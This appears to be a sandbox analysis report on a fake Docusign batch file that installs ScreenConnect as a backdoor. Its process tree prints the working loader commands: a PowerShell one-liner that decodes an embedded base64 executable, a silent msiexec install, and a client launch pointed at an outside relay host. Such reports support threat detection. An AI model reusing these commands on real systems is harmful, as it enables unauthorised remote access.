Overview

overview

8

Static

static

1

Docusign_A...le.bat

windows10-2004-x64

8

Docusign_A...le.bat

windows11-ltsc_2024-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/09/2026, 22:54

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Docusign_Account_Update-Batchfile.bat
  • Size 10.8MB
  • Sample260924-2vr5datfpb
  • SHA256 c2c78096de99d7d3c088aaaa8b51db754a2e3ca76b3464498158d94c047da8d5
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwarebackdoordefense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomwareratrevoked_codesignspywaretrojan

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Port Monitors 1 TTPs 12 IoCs

    Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.

    persistence
  • Manipulates Digital Signatures 1 TTPs 1 IoCs

    Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

    revoked_codesign
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

    backdoorrat
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 10 IoCs
  • Loads dropped DLL 49 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 47 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 41 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 63 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 4 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
    defense_evasionspywaretrojan
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Docusign_Account_Update-Batchfile.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:6012
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "$l=[IO.File]::ReadAllLines($env:SELF);$m='::B64EOF::';$s=[Array]::IndexOf($l,$m);$e=[Array]::LastIndexOf($l,$m);$b=($l[($s+1)..($e-1)] -join '') -replace '\s','';[IO.File]::WriteAllBytes((Join-Path $env:TEMP 'FeedbackTool_6.exe'),[Convert]::FromBase64String($b))"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3068
    • C:\Users\Admin\AppData\Local\Temp\FeedbackTool_6.exe
      "C:\Users\Admin\AppData\Local\Temp\FeedbackTool_6.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3268
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\system32\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\progress.hta"
        3⤵
        • Badlisted process makes network request
        • System Location Discovery: System Language Discovery
        PID:2232
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup_4.msi" /qn /norestart
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:424
      • C:\Users\Admin\AppData\Local\Temp\DocusignPrintDriver3.6.3.xps.x64_3.exe
        "C:\Users\Admin\AppData\Local\Temp\DocusignPrintDriver3.6.3.xps.x64_3.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1044
        • C:\Windows\Temp\{AA76E067-51B9-4ED9-AFF7-BE247B335DF2}\.cr\DocusignPrintDriver3.6.3.xps.x64_3.exe
          "C:\Windows\Temp\{AA76E067-51B9-4ED9-AFF7-BE247B335DF2}\.cr\DocusignPrintDriver3.6.3.xps.x64_3.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\DocusignPrintDriver3.6.3.xps.x64_3.exe" -burn.filehandle.attached=544 -burn.filehandle.self=556
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:540
          • C:\Windows\Temp\{8440143F-C7D7-4301-B0BD-B096A6441BA2}\.be\Docusign Print Driver x64.exe
            "C:\Windows\Temp\{8440143F-C7D7-4301-B0BD-B096A6441BA2}\.be\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{2FCA711D-C59A-490F-881A-9BC0574DD265} {B2432108-60D1-4899-9430-1FEEBA6AA5BB} 540
            5⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Modifies system certificate store
            • Suspicious use of FindShellTrayWindow
            PID:1668
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5260
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding CF08C3127A5E59A733EB032F63CA4849
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5940
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSIA851.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240691531 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:5700
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding F93DE39B94DA3641A610A6B5528670B7 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:5476
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding C0A97069B1D257390F8D511A7EB8AEE6 C
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:5792
      • C:\Windows\system32\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5CEB.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240737578 76 DocuSign.Installer.CustomActions!DocuSign.Installer.CustomActions.CustomActions.LoadPreviousSettings
        3⤵
        • Loads dropped DLL
        PID:860
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 4CEE3D665D3EA50291F9BB06B7B551D4 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1948
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding ED41EB87444F65A08E41F2807F0D1F4F C
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:5352
      • C:\Windows\system32\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6320.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240805828 76 DocuSign.Installer.CustomActions!DocuSign.Installer.CustomActions.CustomActions.LoadPreviousSettings
        3⤵
        • Loads dropped DLL
        PID:5296
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 60B1B92E008FCEA34933E576693AEE1C C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:5632
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 4151854C78996A664A4E145F6E738D33
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1956
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 3A2CDDE0510E1ADBAD47826EEFC9E27F
      2⤵
      • Loads dropped DLL
      PID:3624
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 2F974E757104C715F058AD8862A6A7A5 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:396
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 3208590B0A5EAFF1E88A053841D33F24 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in System32 directory
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Checks SCSI registry key(s)
      • Modifies data under HKEY_USERS
      PID:3708
    • C:\Windows\system32\NET.exe
      NET STOP SPOOLER
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5360
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 STOP SPOOLER
        3⤵
          PID:1204
      • C:\Windows\system32\NET.exe
        NET START SPOOLER
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3532
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 START SPOOLER
          3⤵
            PID:5736
        • C:\Windows\system32\rundll32.exe
          rundll32 printui.dll,PrintUIEntry /q /dd /m "DocuSignPrintDriver"
          2⤵
            PID:3772
          • C:\Windows\system32\rundll32.exe
            rundll32 printui.dll,PrintUIEntry /if /b "Print to Docusign" /f "C:\Program Files\Docusign\Print Driver\\Driver\DocuSignPrintDriver.inf" /r "nul:" /m "DocuSignPrintDriver"
            2⤵
            • Drops file in Windows directory
            • Modifies data under HKEY_USERS
            PID:5592
        • C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.ClientService.exe
          "C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=churchoflife.io&p=8041&s=b363827c-fe56-40bf-9ba6-8d4b7f903769&k=BgIAAACkAABSU0ExAAgAAAEAAQCNraGUkm2bgZ8G1IYLAg6dhp4%2fW1psNOb28arj48NCa7MBUlLW2gvejZT0iFmRGGW328UGjVtkYpzMdLj1QudJVnLB%2bwkYpU%2b56zp8RXu6UdweTEG1s%2bE5EVkbLyEsKSBdlJ3xsTx%2blVCsPjS9z6mGcFXrLbX9oKf4lTyzXiIxLSse0H5WayBL%2b05KzeyfahYPTRiKUjD26P6Tl4Z4mSWDLFdG5BOL0thSTilCfK7%2f1a70F6ythwky2jT4MAF%2bh5iduEoYDD3MyUjBRmI8U2eUxdhk%2fuLS7na%2fXYdw1s5R6KmlLFcPcM1NghrsqSx5%2bnTOZIabhov%2foCXOr%2b3nZ6jN"
          1⤵
          • Sets service image path in registry
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3228
          • C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsClient.exe
            "C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsClient.exe" "RunRole" "acc0189e-f3bb-44a8-9f47-4730b62fd25d" "User"
            2⤵
            • Executes dropped EXE
            PID:2448
        • C:\Windows\system32\vssvc.exe
          C:\Windows\system32\vssvc.exe
          1⤵
          • Checks SCSI registry key(s)
          PID:4728
        • C:\Windows\system32\srtasks.exe
          C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
          1⤵
            PID:2888
          • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
            "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /burn.runonce
            1⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:116
            • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
              "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Docusign_Print_Driver_3.6.3_(xps_x64)_20260924235448.log"
              2⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1916
              • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -burn.clean.room="C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -burn.filehandle.attached=516 -burn.filehandle.self=536 /burn.log.append "C:\Users\Admin\AppData\Local\Temp\Docusign_Print_Driver_3.6.3_(xps_x64)_20260924235448.log"
                3⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:5780
                • C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe
                  "C:\ProgramData\Package Cache\{8ff1bb8d-871a-46e2-bdad-e784f60f238e}\Docusign Print Driver x64.exe" -q -burn.elevated BurnPipe.{4C035C0A-E487-4DD8-8372-43EBF57DD9F3} {DC9CC25D-8033-4D93-AF4C-18CC177E593C} 5780
                  4⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Enumerates connected drives
                  • System Location Discovery: System Language Discovery
                  • Modifies registry class
                  • Modifies system certificate store
                  • Suspicious use of FindShellTrayWindow
                  PID:3984
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
            1⤵
            • Drops file in Windows directory
            • Checks SCSI registry key(s)
            • Suspicious use of WriteProcessMemory
            PID:5132
            • C:\Windows\system32\DrvInst.exe
              DrvInst.exe "4" "1" "C:\Program Files\Docusign\Print Driver\Driver\DocuSignPrintDriver.inf" "9" "4a43c781f" "0000000000000148" "WinSta0\Default" "0000000000000158" "208" "C:\Program Files\Docusign\Print Driver\Driver"
              2⤵
              • Manipulates Digital Signatures
              • Drops file in System32 directory
              • Drops file in Windows directory
              • Checks SCSI registry key(s)
              • Modifies data under HKEY_USERS
              • Suspicious use of WriteProcessMemory
              PID:4104
              • C:\Windows\system32\rundll32.exe
                rundll32.exe C:\Windows\system32\pnpui.dll,InstallSecurityPromptRunDllW 20 Global\{68f44c0a-5afe-3d47-9733-77e9c2a1f0ec} Global\{14462cab-d1bb-8742-99e5-3fb71827ae14} C:\Windows\System32\DriverStore\Temp\{8be8340c-803c-d94a-96aa-199b314410c5}\DocuSignPrintDriver.inf C:\Windows\System32\DriverStore\Temp\{8be8340c-803c-d94a-96aa-199b314410c5}\DocuSignPrintDriver.cat
                3⤵
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                PID:5612
          • C:\Windows\System32\spoolsv.exe
            C:\Windows\System32\spoolsv.exe
            1⤵
            • Boot or Logon Autostart Execution: Port Monitors
            • Drops file in System32 directory
            • Checks SCSI registry key(s)
            • Modifies data under HKEY_USERS
            PID:4780

          Network

                MITRE ATT&CK Enterprise v16

                Reconnaissance

                Resource Development

                Initial Access

                Execution

                Command and Scripting Interpreter

                2
                T1059

                PowerShell

                1
                T1059.001

                Windows Command Shell

                1
                T1059.003

                Persistence

                Boot or Logon Autostart Execution

                4
                T1547

                Authentication Package

                1
                T1547.002

                Port Monitors

                1
                T1547.010

                Registry Run Keys / Startup Folder

                2
                T1547.001

                Create or Modify System Process

                1
                T1543

                Windows Service

                1
                T1543.003

                Event Triggered Execution

                1
                T1546

                Component Object Model Hijacking

                1
                T1546.015

                Privilege Escalation

                Boot or Logon Autostart Execution

                4
                T1547

                Authentication Package

                1
                T1547.002

                Port Monitors

                1
                T1547.010

                Registry Run Keys / Startup Folder

                2
                T1547.001

                Create or Modify System Process

                1
                T1543

                Windows Service

                1
                T1543.003

                Event Triggered Execution

                1
                T1546

                Component Object Model Hijacking

                1
                T1546.015

                Defense Evasion

                Modify Registry

                4
                T1112

                Subvert Trust Controls

                2
                T1553

                Install Root Certificate

                1
                T1553.004

                SIP and Trust Provider Hijacking

                1
                T1553.003

                Credential Access

                Discovery

                Peripheral Device Discovery

                2
                T1120

                Query Registry

                4
                T1012

                System Information Discovery

                4
                T1082

                System Location Discovery

                1
                T1614

                System Language Discovery

                1
                T1614.001

                Lateral Movement

                Collection

                Command and Control

                Exfiltration

                Impact

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                e58a68f.rbs
                • Path C:\Config.Msi\e58a68f.rbs
                • Size 214KB
                • SHA256 e5c065e321bb819895af3168d0c17436300da8afd7e7ab6fff2bc99967ead5f0
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                e58a692.rbs
                • Path C:\Config.Msi\e58a692.rbs
                • Size 710KB
                • SHA256 85b20a815729c1978c780c3a481d08e082564782d48e7fd7329acc04640ad8c6
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                Client.Override.en-US.resources
                • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\Client.Override.en-US.resources
                • Size 343B
                • SHA256 12191483feb8db21c4b7ecd039be74de31710326b9ff1466d9bd6f53329259f6
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                Client.Override.resources
                • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\Client.Override.resources
                • Size 54KB
                • SHA256 fff90d5860f3d27239141e787e47a6dc85a04df81622421d91e66f75e7d04762
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                Client.en-US.resources
                • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\Client.en-US.resources
                • Size 47KB
                • SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                Client.resources
                • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\Client.resources
                • Size 26KB
                • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ScreenConnect.Client.dll
                • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.Client.dll
                • Size 192KB
                • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ScreenConnect.ClientService.dll
                • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.ClientService.dll
                • Size 67KB
                • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ScreenConnect.ClientService.exe
                • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.ClientService.exe
                • Size 93KB
                • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ScreenConnect.WindowsAuthenticationPackage.dll
                • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsAuthenticationPackage.dll
                • Size 254KB
                • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ScreenConnect.WindowsClient.exe
                • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsClient.exe
                • Size 595KB
                • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ScreenConnect.WindowsClient.exe.config
                • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsClient.exe.config
                • Size 266B
                • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                ScreenConnect.WindowsCredentialProvider.dll
                • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\ScreenConnect.WindowsCredentialProvider.dll
                • Size 837KB
                • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                app.config
                • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\app.config
                • Size 2KB
                • SHA256 ae5fc34ccd25c235997ed61a6a7b00440f171baee6fb0d638073744858d8ea2e
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                system.config
                • Path C:\Program Files (x86)\ScreenConnect Client (de1a37d99a21998c)\system.config
                • Size 947B
                • SHA256 b9a237422648f8014f954821b8d4e47949091407cf26cd8ca1a70b3deb435c46
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                DocuSign.PrintDriverApplication.exe
                • Path C:\Program Files\Docusign\Print Driver\DocuSign.PrintDriverApplication.exe
                • Size 552KB
                • SHA256 e1f04f8b64dfdfbcb8772cb9a16ce94b1112c665e99a85fcf37f683321f0fc3b
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                DocusignPrintDriver3.6.3.xps.x64_3.exe
                • Path C:\Users\Admin\AppData\Local\Temp\DocusignPrintDriver3.6.3.xps.x64_3.exe
                • Size 5.4MB
                • SHA256 7ad243cd358d916e029ba8ff9a616dfdcab29b594a9ebf08a66a1c4bd63fb7e2
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                FeedbackTool_6.exe
                • Path C:\Users\Admin\AppData\Local\Temp\FeedbackTool_6.exe
                • Size 7.9MB
                • SHA256 76bdaeeccb6bb7fca7ce3bb76cfd542e6f2b48304d9e925656308941e5bd94b2
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                CustomAction.config
                • Path C:\Users\Admin\AppData\Local\Temp\MSI6320.tmp-\CustomAction.config
                • Size 1KB
                • SHA256 33d947c04a10e3aff3dca3b779393fa56ce5f02251c8cbae5076a125fdea081f
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                DocuSign.Installer.CustomActions.dll
                • Path C:\Users\Admin\AppData\Local\Temp\MSI6320.tmp-\DocuSign.Installer.CustomActions.dll
                • Size 10KB
                • SHA256 0c9639fed56eaa486b2c5e0be4b2b56352e95fc7329d7fa4a00580b06bd01ba6
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                Microsoft.Deployment.WindowsInstaller.dll
                • Path C:\Users\Admin\AppData\Local\Temp\MSI6320.tmp-\Microsoft.Deployment.WindowsInstaller.dll
                • Size 179KB
                • SHA256 cf06d4ed4a8baf88c82d6c9ae0efc81c469de6da8788ab35f373b350a4b4cdca
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ScreenConnect.ClientSetup_4.msi
                • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup_4.msi
                • Size 13.0MB
                • SHA256 0a7fedd398147c59dedcc5eda38f7042fe1c0d609f0e405e3023af4b7a75a078
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                __PSScriptPolicyTest_onxgxp2m.z0k.ps1
                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_onxgxp2m.z0k.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                progress.hta
                • Path C:\Users\Admin\AppData\Local\Temp\progress.hta
                • Size 2KB
                • SHA256 aa2998352f19fe009a96307b657fa2766e86c17d87648ed484cc3ff60494c99c
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                MSI7758.tmp
                • Path C:\Windows\Installer\MSI7758.tmp
                • Size 211KB
                • SHA256 c8d190d5be1efd2d52f72a72ae9dfa3940ab3faceb626405959349654fe18b74
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                MSIA851.tmp
                • Path C:\Windows\Installer\MSIA851.tmp
                • Size 1.0MB
                • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                Microsoft.Deployment.WindowsInstaller.dll
                • Path C:\Windows\Installer\MSIA851.tmp-\Microsoft.Deployment.WindowsInstaller.dll
                • Size 172KB
                • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ScreenConnect.Core.dll
                • Path C:\Windows\Installer\MSIA851.tmp-\ScreenConnect.Core.dll
                • Size 539KB
                • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ScreenConnect.InstallerActions.dll
                • Path C:\Windows\Installer\MSIA851.tmp-\ScreenConnect.InstallerActions.dll
                • Size 11KB
                • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                ScreenConnect.Windows.dll
                • Path C:\Windows\Installer\MSIA851.tmp-\ScreenConnect.Windows.dll
                • Size 1.6MB
                • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                MSIB0AF.tmp
                • Path C:\Windows\Installer\MSIB0AF.tmp
                • Size 202KB
                • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                icon.ico
                • Path C:\Windows\Installer\{A157A1EC-2BAF-4F16-ABBF-2C9BDA1967D9}\icon.ico
                • Size 73KB
                • SHA256 406c793c20be6bdde619ab7c1385567dafd7ae923cdca08db0b9390fa810e9c3
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                DocuSignPrintDriver-manifest.ini
                • Path C:\Windows\System32\DriverStore\Temp\{8be8340c-803c-d94a-96aa-199b314410c5}\DocuSignPrintDriver-manifest.ini
                • Size 310B
                • SHA256 9e966d996c1d8d1ff75ee88149a4a643bfb38cb15782d09e0bb1e5c3bdbc99d4
                • MD5 SHA1 SHA512 TLSH
                Submit Download

                DocuSignPrintDriver.cat
                • Path C:\Windows\System32\DriverStore\Temp\{8be8340c-803c-d94a-96aa-199b314410c5}\DocuSignPrintDriver.cat
                • Size 14KB
                • SHA256 2da262dd6e712a8b004514c8f0c200cfc66e3966c0e94742db0296d614b37138
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

                DocuSignPrintDriver.gpd
                • Path C:\Windows\System32\DriverStore\Temp\{8be8340c-803c-d94a-96aa-199b314410c5}\DocuSignPrintDriver.gpd
                • Size 7KB
                • SHA256 e0e613d160e111ba986dc0236eda0b49c3ab366726a6ba7c854045705e527b13
                • MD5 SHA1 SHA512 SSDEEP TLSH
                Submit Download

